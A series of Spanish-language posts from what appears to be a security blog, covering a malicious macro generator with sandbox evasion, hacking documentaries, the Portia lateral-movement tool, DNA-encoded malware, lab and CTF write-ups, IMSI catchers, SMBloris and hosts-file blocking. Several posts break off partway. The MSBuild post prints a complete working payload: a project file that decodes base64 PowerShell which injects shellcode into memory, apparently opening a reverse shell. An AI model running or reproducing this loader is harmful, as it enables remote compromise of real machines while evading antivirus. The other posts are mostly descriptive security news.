Utilidad para generar macros maliciosas (MMG)

Mr.Un1k0d3r del RingZer0 Team nos trae MMG (Malicious Macro Generator) una sencilla pero útil herramienta en Python diseñada para generar macros ofuscadas que también incluyen un mecanismo de escape de AV/Sandboxes. Las técnicas de evasión que implementa actualmente son:

- Comprobación de dominio: la macro chequea la variable de entorno USERDOMAIN y compara el valor con uno predefinido. Si coinciden el payload se ejecuta.
- Comprobación de disco: la macro comprueba el espacio total en disco total. Las máquinas virtuales y las máquinas para pruebas utilizan discos pequeños la mayoría del tiempo.
- Comprobación de memoria: la macro revisa el tamaño de memoria total. Las VMs y las máquinas para pruebas utilizan menos recursos.
- Comprobación del tiempo de actividad: la macro está supervisando el tiempo de actividad del sistema. Los sandboxes devolverán un tiempo de actividad corto.
- Comprobación de procesos: la macro comprueba si se está ejecutando un proceso específico (ejemplo outlook.exe)
- Ofuscación: el script python también generará código ofuscado para evitar la detección heurística


Requiere sólo Python 2.7 y su uso es bastante sencillo. Sólo tenemos que indicar el fichero de configuración en formato json y el nombre de la macro:

Siete documentales de hackers que no debes perderte

Cuando George V. Hulme, un escritor internacionalmente reconocido que lleva más de 20 años hablando sobre tecnología y seguridad de la información, publica un artículo sobre siete documentales de hacking que no deberíamos perdernos, no podemos hacer otra cosa que compartirlos también con vosotros y apuntarlos como documentales de visionado obligatorio para este (lo que queda de) verano. Ahí os lo dejamos, en estricto orden cronológico:

1.- La Historia Secreta del Hacking (2001): gira alrededor de la vida de tres famosos hackers, John Draper (Capitán Crunch), Kevin Mitnick y Steve Wozniak. El documental es una interesante inmersión en el phreaking de teléfonos, el hacking y la ingeniería social durante los años 90, con una vista en los 70.

Enlace (doblado Español): https://www.youtube.com/watch?v=PqMci8R0wsw

2.- Freedom Downtime (2001): un vistazo interesante (de apoyo) a los tiempos del hacker Kevin Mitnick, la comunidad de hackers más ampliamente, y el movimiento Libre de Kevin. Un documental divertido e informativo si no estás familiarizado con este período de tiempo en la historia del hacking.

Enlace (Inglés): https://www.youtube.com/watch?v=77ILA5Cso3w

3.- Código 2600 (2011): este documental tiene una visión (bastante sombría) del creciente papel que están teniendo Internet y las redes sociales en nuestras vidas, especialmente cuando se trata de privacidad y ciberseguridad, y lo que la edad de la información ha significado para la sociedad.

Enlace (Inglés):
https://www.youtube.com/watch?v=SQ5H01axlLs

4.- DefCon: El documental (2013): DefCon es la conferencia anual de hacking celebrada en Las Vegas. Este documental explora la conferencia durante cuatro días en 2014. Es una mirada visual bastante rara de la DefCon porque los organizadores tienen una estricta política de "no-cámaras". Pero para esta película, se hizo una excepción, y el resultado de la experiencia de la DefCon, su personal y asistentes resultó valer la pena.

Enlace (Subtítulos en Español):
https://www.youtube.com/watch?v=PRHK82VNq74

5.- Ciudadano (2014): aunque no es una película de hacking o sobre la cultura del hacking, es como un viaje que vale la pena ver para cualquier persona interesada en una comprensión de Edward Snowden (Citizenfour). Filmada por Laura Poitras, el documental es una crónica de la opinión de Snowden sobre su divulgación de miles de documentos clasificados de la NSA, según lo dicho a través de sus entrevistas con el reportero Glenn Greenwald.

Enlace (inglés): https://www.youtube.com/watch?v=VbHwmnhYdow

6.- El Hijo de Internet: la historia de Aaron Swartz (2014): trata de la trágica historia del experto en informática y activista online Aaron Swartz. Mientras que Swartz co-fundó Reddit, creó RSS y ha sido elogiado a menudo como genio de la informática, lo que llamaba la atención de las fuerzas de la ley eran sus opiniones sobre el acceso de la información. Según las autoridades, Swartz supuestamente descargó una gran cantidad de artículos de revistas académicas en 2010 y 2011. Fue acusado de varios delitos por acceso no autorizado a los sistemas informáticos del MIT y se suicidó durante, lo que muchos describían, una excesiva acusación federal.

Enlace (Subtítulos en Español):
https://www.youtube.com/watch?v=7jhdj0vKbYo

7.- Zero Days (2016): este documental pinta un retrato serio de cuán vulnerable es el mundo físico a los ataques cibernéticos. Los detalles de Zero Days son precisamente los fallos de seguridad que se conocen públicamente antes de que sean conocidos por el fabricante de software (o antes de que se publique un parche), lo precario que es hoy el mundo altamente conectado y cada vez más conducido por software.

Enlace (inglés):
https://www.youtube.com/watch?v=AcgUGujn_nY

Portia: automatiza el escalado de privilegios durante un pentest

Portia es un género de araña saltadora que se alimenta de otras arañas y es conocida por su comportamiento de caza inteligente y su capacidad de resolución de problemas que por lo general sólo se encuentra en animales más grandes.

Por esa razón, Keith Lee (@keith55) de Spiderlabs eligió ese nombre para una herramienta que presentó en la Defcon 25 y que tiene como objetivo automatizar una serie de técnicas comúnmente realizadas en pruebas internas de intrusión de red después de que una cuenta con privilegios bajos haya sido comprometida
  • Escalado de privilegios
  • Movimiento lateral
  • Módulos convenientes
Portia permite proporcionar un nombre de usuario y una contraseña que haya capturada y crackeada previamente, así como en rangos IP, subredes o listas de direcciones IP. La herramienta encuentra su camino alrededor de la red e intenta obtener acceso a los hosts, encuentra y descarga las contraseñas/hashes y las reutiliza para comprometer otros hosts en la red. En resumen, la herramienta ayuda con los movimientos laterales en la red y la automatización de la escalada de privilegios, así como encontrar datos sensibles que residen en los hosts.

Dependencias

apt-get update
apt-get install -y autoconf automake autopoint libtool pkg-config freetds-dev
pip install pysmb tabulate termcolor xmltodict pyasn1 pycrypto pyOpenSSL dnspython netaddr python-nmap
cd /opt
git clone https://github.com/CoreSecurity/impacket
python setup.py install
cd /opt
git clone https://github.com/libyal/libesedb.git && cd libesedb
./synclibs.sh
./autogen.sh
cd /opt
git clone https://github.com/csababarta/ntdsxtract && cd ntdsxtract
python setup.py install
pip install git+https://github.com/pymssql/pymssql.git
cd /opt
git clone https://github.com/volatilityfoundation/volatility && cd volatility
python setup.py install
cd /opt
git clone https://github.com/SpiderLabs/portia

Consiguen escribir malware en... ¡ADN!

Hasta la fecha siempre se ha pensado que modificar el ADN de forma maliciosa ha tenido como objetivo la creación de un arma biológica en forma de toxina o enfermedad infecciosa, pero modificar el ADN para comprometer la computadora que lo está secuenciando es un nuevo vector de ataque que podrían aprovechar los hackers en los próximos años...

Pensarlo por un momento, ahora parece ciencia ficción pero en un futuro próximo la secuenciación genética se hará mucho más cotidiana y un atacante podría aprovecharlo usando muestras falsas de sangre u otras para obtener acceso a equipos universitarios, robar (o modificar) información de laboratorios forenses de la policía o infectar archivos genéticos compartidos por científicos.

Un grupo de investigadores de la Universidad de Washington se dio cuenta de ésto y demostrarán la semana que viene en la conferencia Usenix de Vancouver que, por primera vez, es posible codificar malware en hebras físicas de ADN, de modo que cuando un secuenciador de genes lo analice los datos resultantes se conviertan en un exploit que tome el control del software y la computadora subyacentes. Es lo que ya han denominado la primera "explotación de un sistema informático basada en el ADN".

Básicamente, el ADN está compuesto por nucleóticos que son cuatro moléculas orgánicas Adenina, Timina, Citosina y Guanina, es decir, ATCG respectivamente. Esas 4 letras se van secuenciando en distinto órden y frecuencia a lo largo de distintos genes en las cadenas que se van entrelazando formando las famosas dobles hélices. A grandes rasgos, cuando se secuencia el ADN lo que se está haciendo es trasladar esas secuencias "ATCG" de nucleótidos a formato digital en un formato llamado FASTQ. El fichero en ese formato ocupa varios gigas de texto por lo que normalmente se suele comprimir, en el caso que nos trae mediante el programa fqzcomp. Hackeando ese software de compresión mediante un exploit de desbordamiento de búfer sería posible ejecutar comandos arbitrariamente... y eso fue precisamente el objetivo de los investigadores.

No obstante la dificultad para la realizar el ataque fue máxima e incluso podríamos decir que llegaron a hacer algo de "trampas" porque en lugar de explotar una vulnerabilidad existente en el programa fqzcomp, modificaron el código abierto del programa para insertar su propio fallo permitiendo el desbordamiento del búfer. De todas formas, se trata de la primera prueba de concepto y tenemos que tener siempre en cuenta que los ataques podrían evolucionar y aprovecharse de nuevas vulnerabilidades existentes. De hecho, el equipo de investigadores encontró hasta tres 'buffer overflows' en programas de secuenciación de ADN diferentes.

Por otro lado, los investigadores consiguieron comprar muestras de ADN por sólo $89 pero en seguida se dieron cuenta de que no era nada fácil codificar el malware en ellas. En primer lugar, el ADN tiene algunas limitaciones fisicas: para que la muestra permaneciera estable tenían que mantener una cierta relación de Gs y Cs con As y Ts, porque la estabilidad natural del ADN depende de una proporción regular de pares A-T y G-C. Por dicha razón tuvieron que rescribir el exploit varias veces para que pudiera "encajar" en el ADN real. En segundo lugar, los secuenciadores de ADN trabajan mezclando ADN con sustancias químicas que se enlazan de forma diferente a las unidades básicas de código del ADN -las bases químicas A, T, G y C- y cada una emite un color de luz diferente capturado en una foto de las moléculas de ADN. Para acelerar el procesamiento, las imágenes de millones de bases se dividen en miles de fragmentos y se analizan en paralelo. Así que todos los datos que comprendieron su ataque tuvieron que encajar en sólo unos pocos cientos de esas bases, para aumentar la probabilidad de que se mantendría intacta durante el procesamiento paralelo del secuenciador.

En cualquier caso, superados estos escollos el equipo de investigadores fue capaz de ejecutar comandos en la máquina secuenciando el ADN...

Las empresas que fabrican ADN sintético están ya en alerta y, tal como sugieren los investigadores, pronto se tendrá que empezar a revisar las secuencias de ADN por posibles amenazas informáticas. Pronto también empezaremos a escuchar mucho más el término de ... biohackers.

Paper: http://dnasec.cs.washington.edu/dnasec.pdf

Fuentes:
- Scientists Hack a Computer Using DNA
- DNA Hacking: Malicious Code Written Into A DNA Strand Can Hack A Computer
- Biohackers Encoded Malware in a Strand of DNA

[Pentesterlab write-up] Web For Pentester II - Randomness Issues & MongoDB injection

Teníamos pendiente terminar el segundo laboratorio de Web For Pentesters de Pentesterlab y para ello nos quedaban dos bloques: uno en el que encontraremos distintos problemas derivados por una mala implementación de funciones de aleatorización (Randomness Issues), y el otro en el que tendremos la oportunidad de inyectar en una base de datos NoSQL (MongoDB injection). ¡Vamos a ello!


RANDOMNESS ISSUES

Ejercicio 1:

En el primer ejercicio las instrucciones nos indican que podemos autenticarnos con las credenciales del usuario “hacker”, que dicho usuario ha sido generado en segundo lugar y nos facilitan el código fuente para que obtengamos la contraseña del primer usuario creado, el usuario “admin”:


Como veis el seed es 0 (Random.new(0)) por lo que la contraseña generada siempre será la misma. Entonces sólo tenemos ejecutar el código facilitado y obtendremos la contraseña:

irb(main):001:0> s = Random.new(0)
=> #<Random:0x00559bb31ceab8>
irb(main):002:0> pass = 6.times.map { ('a'..'z').to_a[s.rand(('a'..'z').to_a.size)]}.join
=> "mpvadd"

Hackazon: una aplicación web vulnerable de e-commerce para practicar

Hackazon es un máquina intencionadamente vulnerable que simula ser una tienda online y que incorpora las últimas tecnologías que se usan actualmente: un interfaz AJAX, un workflow realista de e-commerce e incluso un API RESTful para una aplicación móvil


Aunque Dan Kuykendall aka @dan_kuyendall de NT OBJECTives (ahora Rapid7) la presentó ya hace casi 3 años, en el 2014 en la APP Sec USA de OWASP, sigue siendo una interesante opción a la hora de montar un laboratorio de prácticas.

Hackazon es de código abierto y permite además configurar cada área de la aplicación con el fin de cambiar el panorama de vulnerabilidades y así evitar "pruebas conocidas de vulnerabilidades" o cualquier otra forma de "engaño".

Dado que la aplicación incluye interfaces RESTful que potencian la funcionalidad AJAX y clientes móviles (JSON, XML, GwT y AMF), los usuarios necesitarán las últimas herramientas y técnicas para descubrir todas las vulnerabilidades. Hackazon también requiere probar detalladamente los flujos de trabajo, como carritos de compras, que se utilizan comúnmente en aplicaciones empresariales.

Instalación (entorno WAMP)
  •     Descarga el código
  •     Configura el DOCUMENT_ROOT a /web. Asegúrate de que está activado el soporte de htaccess y REWRITE.
  •     Copia /assets/config/db.sample.php a /assets/config/db.php
  •     Cambia la configuración para la BD en /assets/config/db.php
  •     Abre http://yoursitename/install
* La imagen de Docker está todavía en desarrollo: https://community.rapid7.com/thread/9554

Características
Detalles técnicos

Wiki: https://github.com/rapid7/hackazon/wiki

Manual de usuario (pdf): https://community.rapid7.com/servlet/JiveServlet/downloadBody/3452-102-3-8267/Hackazon_User%27s_Guide.pdf

Solucion al reto 21 "acid pirate"

Cuando el camino es arduo y "las piernas pesan", siempre hay alguien empujando. Lejos quedó la (falsa) figura del hacker solitario, hoy en día relacionarse es fundamental y, por ende, las colaboraciones son fundamentales.

Por eso, nos alegramos tanto cuando nos llegó un correo como el que hace unos días recibimos desde Guatemala: César Calderón (@_Stuxnet) se dio cuenta que hace tiempo que no publicábamos ningún reto y aportaba uno nuevo, el 21 (acid pirate).

¡Gracias, somos Comunidad!

Ganadores

En esta ocasión podríamos decir que prácticamente hubo un empate técnico para la primera posición. Primero recibimos el flag final del reto por parte de Eloy (informaticaeloy), pero el primer writeup por correo electrónico fue de Adrián Fernández. Así que ambos comparten el primer puesto.

Finalmente el podio (que podéis ver también en nuestro hall de la fama) quedó así:

Eloy (informaticaeloy)
Adrián Fernández 
Mauricio Trujillo
José Mejuto (JoshyFun)
MRCl0wn
Y4r4G (Team Whoami)
elvecinodeabajo

Solucionario

Cada uno de los que aparecen en el listado enviaron un writeup perfectamente válido, pero quizás el de Eloy fue le más completo, ya que detalla incluso algunos pasos que luego tuvo que rectificar para la consecución de la resolución del reto. Os dejamos con él:

Reto 21: acid pirate

César Calderón aka @_Stuxnet nos mandaba recientemente un correo en el que comentaba que se había dado cuenta que desde hace tiempo no publicábamos ningún reto y quería ayudar a reactivar esa buena costumbre. Para ello nos ha dejado uno que ha hecho en sus tiempos libres, que está muy sencillo (al menos según afirma él), por lo que os animamos a intentarlo a todos. Para empezar simplemente hay que descargar una imagen (la de la derecha) a través del siguiente enlace:

https://mega.nz/#!oxwj1SLT!xqlmt-2MLjpbnPuGqDGhgv7ggqH31MTVzz91NDIy-QA

Hint: extraer los metadatos a la imagen y después de eso tendréis todo para trabajarla...
 
Como antaño, los primeros en resolver el reto serán reconocidos e inscritos en nuestro eterno hall de la fama. Para ello tendrán que mandarnos el flag final y el procedimiento seguido para su consecución. Además en los próximos retos, ya sean en formato individual o en CTF, los ganadores podrán obtener alguna que otra sorpresa adicional (ahí lo dejo).

Por supuesto recordar también que si queréis comentar alguna duda acerca del reto (sin spoilers, por favor) podéis hacerlo por correo o comentando directamente esta entrada.

Por último, queremos agradecerle una vez más a @_Stuxnet por haberse puesto en contacto con nosotros para presentarnos su reto. Ojalá haya más personas que quieran también compartir estos pequeños desafíos que ponen a prueba la pericia y la inteligencia de la gente que nos lee y colabora en lo que ya se ha convertido en nuestra pequeña gran comunidad, la comunidad de Hackplayers. Gracias.

¡Hagan juego señores/as!

Pd. El reto se cierra a las 20:00 GMT +1 del viernes 4 de agosto. Date prisa en mandarnos el writeup (hackplayers_at_ymail.com) si quieres entrar en nuestro hall de la fama!!

Reto cerrado. Gracias a todos por participar, en breve se publicará el writeup correspondiente.

Ejecutando código malicioso gracias a MSBuild con la ayuda de NPS_Payload

En diversas ocasiones hemos visto como se han descubierto binarios nativos de aplicaciones creadas por Microsoft que podrían ser usados para ejecutar código malicioso y ayudar al atacante a comprometer a la víctima, incluso de una manera muy eficaz evadiendo las detecciones por parte del antivirus.

Hoy le toca el marrón a MSBuild, el famoso compilador de Microsoft y Visual Studio.

Casey Smith, más conocido como SubTee y famoso por su ensañamiento continuo con la explotación de productos de Microsoft y Windows, descubrió afirmando que se podía ejecutar código gracias a archivos como .csproj o .xml usando msbuild.exe de Microsoft. Casey observó que hay diversas secciones de dichos formatos en los que se puede introducir código y que serán analizadas y ejecutadas al lanzar msbuild.exe, lo que permitiría la interpretación código, en este caso malicioso, como C# por parte del atacante.

Uno de los ejemplos de payload sería el siguiente:
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="npscsharp">
   <nps />
  </Target>
  <UsingTask
    TaskName="nps"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
  <Task>
    <Reference Include="System.Management.Automation" />
      <Code Type="Class" Language="cs">
        <![CDATA[

          using System;
      using System.Collections.ObjectModel;
      using System.Management.Automation;
      using System.Management.Automation.Runspaces;
      using Microsoft.Build.Framework;
      using Microsoft.Build.Utilities;

      public class nps : Task, ITask
        {
            public override bool Execute()
            {
              string cmd = "JFVsQ3RZWU13cSA9IEAiDQpbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiKV0NCnB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBWaXJ0dWFsQWxsb2MoSW50UHRyIGxwQWRkcmVzcywgdWludCBkd1NpemUsIHVpbnQgZmxBbGxvY2F0aW9uVHlwZSwgdWludCBmbFByb3RlY3QpOw0KW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIildDQpwdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgQ3JlYXRlVGhyZWFkKEludFB0ciBscFRocmVhZEF0dHJpYnV0ZXMsIHVpbnQgZHdTdGFja1NpemUsIEludFB0ciBscFN0YXJ0QWRkcmVzcywgSW50UHRyIGxwUGFyYW1ldGVyLCB1aW50IGR3Q3JlYXRpb25GbGFncywgSW50UHRyIGxwVGhyZWFkSWQpOw0KW0RsbEltcG9ydCgibXN2Y3J0LmRsbCIpXQ0KcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIG1lbXNldChJbnRQdHIgZGVzdCwgdWludCBzcmMsIHVpbnQgY291bnQpOw0KIkANCg0KJEpteUN3a1FremFOcGYgPSBBZGQtVHlwZSAtbWVtYmVyRGVmaW5pdGlvbiAkVWxDdFlZTXdxIC1OYW1lICJXaW4zMiIgLW5hbWVzcGFjZSBXaW4zMkZ1bmN0aW9ucyAtcGFzc3RocnUNCg0KW0J5dGVbXV0gJFBkc05JRnZwcmd1TkYgPSAweGZjLDB4ZTgsMHg4MiwweDAsMHgwLDB4MCwweDYwLDB4ODksMHhlNSwweDMxDQokUGRzTklGdnByZ3VORiArPSAweGMwLDB4NjQsMHg4YiwweDUwLDB4MzAsMHg4YiwweDUyLDB4YywweDhiLDB4NTINCiRQZHNOSUZ2cHJndU5GICs9IDB4MTQsMHg4YiwweDcyLDB4MjgsMHhmLDB4YjcsMHg0YSwweDI2LDB4MzEsMHhmZg0KJFBkc05JRnZwcmd1TkYgKz0gMHhhYywweDNjLDB4NjEsMHg3YywweDIsMHgyYywweDIwLDB4YzEsMHhjZiwweGQNCiRQZHNOSUZ2cHJndU5GICs9IDB4MSwweGM3LDB4ZTIsMHhmMiwweDUyLDB4NTcsMHg4YiwweDUyLDB4MTAsMHg4Yg0KJFBkc05JRnZwcmd1TkYgKz0gMHg0YSwweDNjLDB4OGIsMHg0YywweDExLDB4NzgsMHhlMywweDQ4LDB4MSwweGQxDQokUGRzTklGdnByZ3VORiArPSAweDUxLDB4OGIsMHg1OSwweDIwLDB4MSwweGQzLDB4OGIsMHg0OSwweDE4LDB4ZTMNCiRQZHNOSUZ2cHJndU5GICs9IDB4M2EsMHg0OSwweDhiLDB4MzQsMHg4YiwweDEsMHhkNiwweDMxLDB4ZmYsMHhhYw0KJFBkc05JRnZwcmd1TkYgKz0gMHhjMSwweGNmLDB4ZCwweDEsMHhjNywweDM4LDB4ZTAsMHg3NSwweGY2LDB4Mw0KJFBkc05JRnZwcmd1TkYgKz0gMHg3ZCwweGY4LDB4M2IsMHg3ZCwweDI0LDB4NzUsMHhlNCwweDU4LDB4OGIsMHg1OA0KJFBkc05JRnZwcmd1TkYgKz0gMHgyNCwweDEsMHhkMywweDY2LDB4OGIsMHhjLDB4NGIsMHg4YiwweDU4LDB4MWMNCiRQZHNOSUZ2cHJndU5GICs9IDB4MSwweGQzLDB4OGIsMHg0LDB4OGIsMHgxLDB4ZDAsMHg4OSwweDQ0LDB4MjQNCiRQZHNOSUZ2cHJndU5GICs9IDB4MjQsMHg1YiwweDViLDB4NjEsMHg1OSwweDVhLDB4NTEsMHhmZiwweGUwLDB4NWYNCiRQZHNOSUZ2cHJndU5GICs9IDB4NWYsMHg1YSwweDhiLDB4MTIsMHhlYiwweDhkLDB4NWQsMHg2OCwweDMzLDB4MzINCiRQZHNOSUZ2cHJndU5GICs9IDB4MCwweDAsMHg2OCwweDc3LDB4NzMsMHgzMiwweDVmLDB4NTQsMHg2OCwweDRjDQokUGRzTklGdnByZ3VORiArPSAweDc3LDB4MjYsMHg3LDB4ZmYsMHhkNSwweGI4LDB4OTAsMHgxLDB4MCwweDANCiRQZHNOSUZ2cHJndU5GICs9IDB4MjksMHhjNCwweDU0LDB4NTAsMHg2OCwweDI5LDB4ODAsMHg2YiwweDAsMHhmZg0KJFBkc05JRnZwcmd1TkYgKz0gMHhkNSwweDZhLDB4NSwweDY4LDB4YzAsMHhhOCwweDEsMHg4NCwweDY4LDB4Mg0KJFBkc05JRnZwcmd1TkYgKz0gMHgwLDB4MTEsMHg1YywweDg5LDB4ZTYsMHg1MCwweDUwLDB4NTAsMHg1MCwweDQwDQokUGRzTklGdnByZ3VORiArPSAweDUwLDB4NDAsMHg1MCwweDY4LDB4ZWEsMHhmLDB4ZGYsMHhlMCwweGZmLDB4ZDUNCiRQZHNOSUZ2cHJndU5GICs9IDB4OTcsMHg2YSwweDEwLDB4NTYsMHg1NywweDY4LDB4OTksMHhhNSwweDc0LDB4NjENCiRQZHNOSUZ2cHJndU5GICs9IDB4ZmYsMHhkNSwweDg1LDB4YzAsMHg3NCwweGEsMHhmZiwweDRlLDB4OCwweDc1DQokUGRzTklGdnByZ3VORiArPSAweGVjLDB4ZTgsMHg2MSwweDAsMHgwLDB4MCwweDZhLDB4MCwweDZhLDB4NA0KJFBkc05JRnZwcmd1TkYgKz0gMHg1NiwweDU3LDB4NjgsMHgyLDB4ZDksMHhjOCwweDVmLDB4ZmYsMHhkNSwweDgzDQokUGRzTklGdnByZ3VORiArPSAweGY4LDB4MCwweDdlLDB4MzYsMHg4YiwweDM2LDB4NmEsMHg0MCwweDY4LDB4MA0KJFBkc05JRnZwcmd1TkYgKz0gMHgxMCwweDAsMHgwLDB4NTYsMHg2YSwweDAsMHg2OCwweDU4LDB4YTQsMHg1Mw0KJFBkc05JRnZwcmd1TkYgKz0gMHhlNSwweGZmLDB4ZDUsMHg5MywweDUzLDB4NmEsMHgwLDB4NTYsMHg1MywweDU3DQokUGRzTklGdnByZ3VORiArPSAweDY4LDB4MiwweGQ5LDB4YzgsMHg1ZiwweGZmLDB4ZDUsMHg4MywweGY4LDB4MA0KJFBkc05JRnZwcmd1TkYgKz0gMHg3ZCwweDIyLDB4NTgsMHg2OCwweDAsMHg0MCwweDAsMHgwLDB4NmEsMHgwDQokUGRzTklGdnByZ3VORiArPSAweDUwLDB4NjgsMHhiLDB4MmYsMHhmLDB4MzAsMHhmZiwweGQ1LDB4NTcsMHg2OA0KJFBkc05JRnZwcmd1TkYgKz0gMHg3NSwweDZlLDB4NGQsMHg2MSwweGZmLDB4ZDUsMHg1ZSwweDVlLDB4ZmYsMHhjDQokUGRzTklGdnByZ3VORiArPSAweDI0LDB4ZTksMHg3MSwweGZmLDB4ZmYsMHhmZiwweDEsMHhjMywweDI5LDB4YzYNCiRQZHNOSUZ2cHJndU5GICs9IDB4NzUsMHhjNywweGMzLDB4YmIsMHhmMCwweGI1LDB4YTIsMHg1NiwweDZhLDB4MA0KJFBkc05JRnZwcmd1TkYgKz0gMHg1MywweGZmLDB4ZDUNCg0KDQokSXZMcnZSakh1QlVEID0gJEpteUN3a1FremFOcGY6OlZpcnR1YWxBbGxvYygwLFtNYXRoXTo6TWF4KCRQZHNOSUZ2cHJndU5GLkxlbmd0aCwweDEwMDApLDB4MzAwMCwweDQwKQ0KDQpmb3IgKCRRUVJPRFZSWG5wZz0wOyRRUVJPRFZSWG5wZyAtbGUgKCRQZHNOSUZ2cHJndU5GLkxlbmd0aC0xKTskUVFST0RWUlhucGcrKykgew0KICAkSm15Q3drUWt6YU5wZjo6bWVtc2V0KFtJbnRQdHJdKCRJdkxydlJqSHVCVUQuVG9JbnQzMigpKyRRUVJPRFZSWG5wZyksICRQZHNOSUZ2cHJndU5GWyRRUVJPRFZSWG5wZ10sIDEpIHwgT3V0LU51bGwNCn0NCg0KJEpteUN3a1FremFOcGY6OkNyZWF0ZVRocmVhZCgwLDAsJEl2THJ2UmpIdUJVRCwwLDAsMCkNCmZvciAoOzspewogIFN0YXJ0LXNsZWVwIDYwCn0=";
              
                PowerShell ps = PowerShell.Create();
                ps.AddScript(Base64Decode(cmd));

                Collection<PSObject> output = null;
                try
                {
                    output = ps.Invoke();
                }
                catch(Exception e)
                {
                    Console.WriteLine("Error while executing the script.\r\n" + e.Message.ToString());
                }
                if (output != null)
                {
                    foreach (PSObject rtnItem in output)
                    {
                        Console.WriteLine(rtnItem.ToString());
                    }
                }
                return true;
            }

            public static string Base64Encode(string text) {
           return System.Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(text));
        }

        public static string Base64Decode(string encodedtext) {
            return System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(encodedtext));
        }
        }
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

Cómo hacerte un IMSI Catcher sencillo por sólo 11€

Recientemente veía un tweet de nuestro antiguo compi Sebas (@0xroot) con un enlace a un vídeo de Keld Norman: How to make a simple $7 IMSI Catcher.
Para quien no lo sepa, un IMSI Catcher o stingray es básicamente un dispositivo que se hace pasar por la antena de un operador de telefonía móvil. Podríamos decir que se trata de estaciones base falsas que permiten hacer un MiTM a un móvil con todo lo que eso conlleva: pueden obtener el identificador global o IMSI (Identidad Internacional del Suscriptor de Móvil) pero también disminuir o incrementar la potencia de transmisión del teléfono, acceder a sus metadatos y claves de cifrado, geolocalizarlo e incluso escribir protocolos sobre la memoria del dispositivo.

Seguro que habréis visto en mil y una películas cuando la policía o el servicio de inteligencia de turno utiliza una furgoneta para hacer el seguimiento y/o interceptar las comunicaciones del móvil de un sospechoso: suele tratarse de un IMSI Catcher y en España y en más de medio mundo su uso está regulado y permitido sólo a las fuerzas de seguridad del estado y (creo) que con orden judicial. Así que, al menos que vivas en un país que todavía no tenga un marco regulatorio definido o trabajes para un cuerpo con autorización, usar un IMSI catcher es ilegal.

Sin duda una verdadera lástima porque cada vez es más asequible adquirir uno hasta llegar al punto de que hoy en día prácticamente está al alcance de cualquier bolsillo. Por ejemplo, es posible hacerte un maletín de escucha por menos de 300€ comprando los componentes en China, e incluso existen equipos profesionales ya terminados por alrededor de los 1800€.

No obstante, el vídeo de Keld Norman que traemos en este post muestra un receptor TDT/DVB-T (Rtl2832u + R820t), es decir, no puede transmitir y por lo tanto más un IMSI Catcher al uso, como una estación base falsa que realiza un MiTM, estaríamos hablando de algo parecido a un sniffer en GSM, que por menos 15€ tampoco está nada mal:

Vídeo

PoC de SMBloris, o cómo tirar un servidor Windows con una sóla Raspberry Pi

Una de las "perlas" más esperadas este fin de semana en la Defcon 25 de Las Vegas era la publicación de un exploit para SMBv1 que estaba presente desde hace 20 años en todas las versiones de Windows (hasta Windows 2000) y que permite bloquear/crashear un servidor con tan sólo 20 líneas de código python y una Raspberry Pi . Bautizado SMBloris como Slowloris, su homónimo para servidores web, es capaz de usar de una sola máquina para bloquear o "congelar" un servidor mucho más potente:
 
En la charla de la Defcon fueron capaz de tirar un servidor de 8GBs de RAM en pocos segundos

"De forma similar a Slowloris, requiere abrir muchas conexiones al servidor, pero estas son conexiones de bajo coste para el atacante, por lo que una sola máquina es capaz de realizar el ataque", comenta Sean Dillon (zerosum0x0), el investigador que junto con Sean Dillon (zerosum0x0) encontró hace 2 meses este fallo en el protocolo mientras estudiaban el exploit de EternalBlue.

"Mientras trabajábamos en EternalBlue, observamos un patrón en la forma en que la se hacen las asignaciones de memoria en el pool no paginado del kernel de Windows. El pool no paginado es una memoria que debe reservarse en la RAM física; y no puede ser cambiado", explicó también Dillon. "Ese es el pool más preciado de la memoria en el sistema. Nos dimos cuenta de cómo agotar ese pool, incluso en servidores que son muy robustos, con 128 GB de memoria. Podemos tirarlo abajo con sólo una Raspberry Pi".

Protege tu navegación web de forma sencilla sólo con fichero hosts/DNS

Hoy en día existen diversas opciones para navegar más seguro usando listas negras que incluyen sitios maliciosos que realizan tracking, profiling, anuncios o incluso sirven malware o son de phishing. Si no quieres usar un software de terceros tipo antimalware con control de navegación o un ad blocker o similar, puedes igualmente añadir estas capacidad de blacklisting simplemente usando el archivo hosts de tu PC y/o servidores DNS que incluyan estas características. Su funcionamiento es bien sencillo: se trata de usar el servicio de resolución de nombres para asignar IPs inalcanzables (127.0.0.1 o 0.0.0.0) a una lista negra de sitios.

El inconveniente de usar un fichero hosts local es que ofrece menor granularidad ya que sólo se pueden bloquear dominios completos y que es necesario actualizarlo manualmente con regularidad o currarte un script que lo automatice desde la fuente o fuentes utilizadas. Por otro lado no dependes de un servicio externo y tienes un control absoluto de las entradas de la lista, pudiendo personalizarla añadiendo o quitando entradas. Tampoco he visto (al menos yo) que haya un lag perceptible a la hora de acceder a un sitios mediante el navegador aunque el fichero host contenga miles o millones de entradas.

La otra alternativa sencilla, es configurarte uno o varios servidores DNS que ofrezca blacklisting, de esta manera tienes menos control pero te olvidas de mantener la lista negra en local. No obstante el tráfico hacia estos servidores por defecto no irá cifrado, por lo que cualquiera podría capturar el tráfico para hacer un seguimiento de los sitios que visitas o incluso falsificar las respuestas DNS. Por eso lo ideal sería usar adicionalmente DNSSec y DNSCrypt para autenticar y cifrar las consultas DNS respectivamente, si bien trataremos si configuración en entradas posteriores ya que, como decimos, en ésta buscamos la mayor sencillez. Es decir, aumentar une escalón la seguridad de la navegación web sólo llevando a cabo unos sencillos pasos: editar el fichero hosts y/o configurar los DNS de nuestra conexión de red. Veamos pues opciones para ambas alternativas:

Formación y libros gratuitos para Kali Linux Certified Professional (KLCP)

Offensive Security ha lanzado recientemente una nueva certificación, Kali Linux Certified Professional (KLCP), y para impulsarla ha decidido publicar su curso de preparación y el libro 'Kali Linux Revealed: Mastering the Penetration Testing Distribution' ambos de forma gratuita.

